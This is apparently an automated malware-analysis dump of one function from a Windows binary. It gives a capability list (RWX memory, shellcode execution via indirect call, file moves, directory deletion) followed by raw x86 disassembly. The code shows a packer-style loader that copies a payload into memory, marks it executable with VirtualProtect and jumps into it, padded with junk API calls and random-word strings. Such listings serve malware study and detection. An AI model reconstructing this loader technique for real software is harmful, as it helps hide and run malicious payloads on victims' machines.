Function at 0x401181
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Identify system language via api
Move file

Disassembly:
mov eax, 0x420a31
call fcn.0041fa84
sub esp, 0x86c
cmp dword [0x2afdafc], 0x93
push ebx
push esi
push edi
jne 0x4011e9
push str.jakepedotopifawon_todeve_nuzufuyileleyotovomefalosa_keherojojiripuwosevoxizura
push str.kapebefokoti_payadirutufujasoz_cuyurafuyuyadi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], esi
mov word [ebp - 0x30], ax
push esi
mov dword [ebp - 4], esi
call fcn.00401627
push esi
push esi
call fcn.00401787
push esi
push esi
call fcn.00401610
push esi
push esi
call fcn.00401787
add esp, 0x1c
push esi
call fcn.00401a3d
add dword [0x2afdafc], 0x1134b
push dword [0x2afdafc]
mov eax, dword [0x4279b0]
xor esi, esi
push esi
mov dword [0x2afe560], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x2afdafc]
mov dword [0x2afd4b4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x2afdafc], esi
jbe 0x401276
mov eax, dword [0x2afe560]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2afd4b4]
mov byte [ecx + edi], al
cmp dword [0x2afdafc], 0x490
jne 0x40126d
push str.pihagiketomecosevogimacogobug
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push str.fayijoyajuwoxilo_yugavokezameheturucuxoloseho_bip_sisuf
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
inc edi
cmp edi, dword [0x2afdafc]
jb 0x40122e
xor edi, edi
mov eax, dword [0x2afdafc]
add eax, edi
cmp eax, 0x8d
jne 0x4012c1
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea eax, [ebp - 0x10]
push eax
push esi
push str.tojiyuvucopagahivufogofotof_tiyasuxigek_diyedujugayakusobozukunopunihoju_cepizotonosevadixepiwoyigezide
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
inc edi
cmp edi, 0x38681
jl 0x401278
mov eax, dword [0x2afdafc]
mov ecx, dword [0x2afd4b4]
shr eax, 3
cmp eax, esi
jbe 0x40130f
mov edi, ecx
mov ebx, eax
cmp dword [0x2afdafc], 0x959
jne 0x401303
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x4012e0
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40132f
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0x341c
mov eax, dword [ebp - 0x10]
add dword [0x2afd4b4], eax
inc edi
cmp edi, 0x674db
jl 0x401311
push 0x7b
pop ebx
cmp dword [0x2afdafc], 0x86
jne 0x401394
push esi
lea eax, [ebp - 0x478]
push eax
push str.bohavuriveheyebigikinaner
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push str.yacosabifeyasirewelukucigus
push str.kevoboyomisedokufovalesududa
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
lea eax, [ebp - 0x878]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
dec ebx
jne 0x40133b
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2afd4b4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret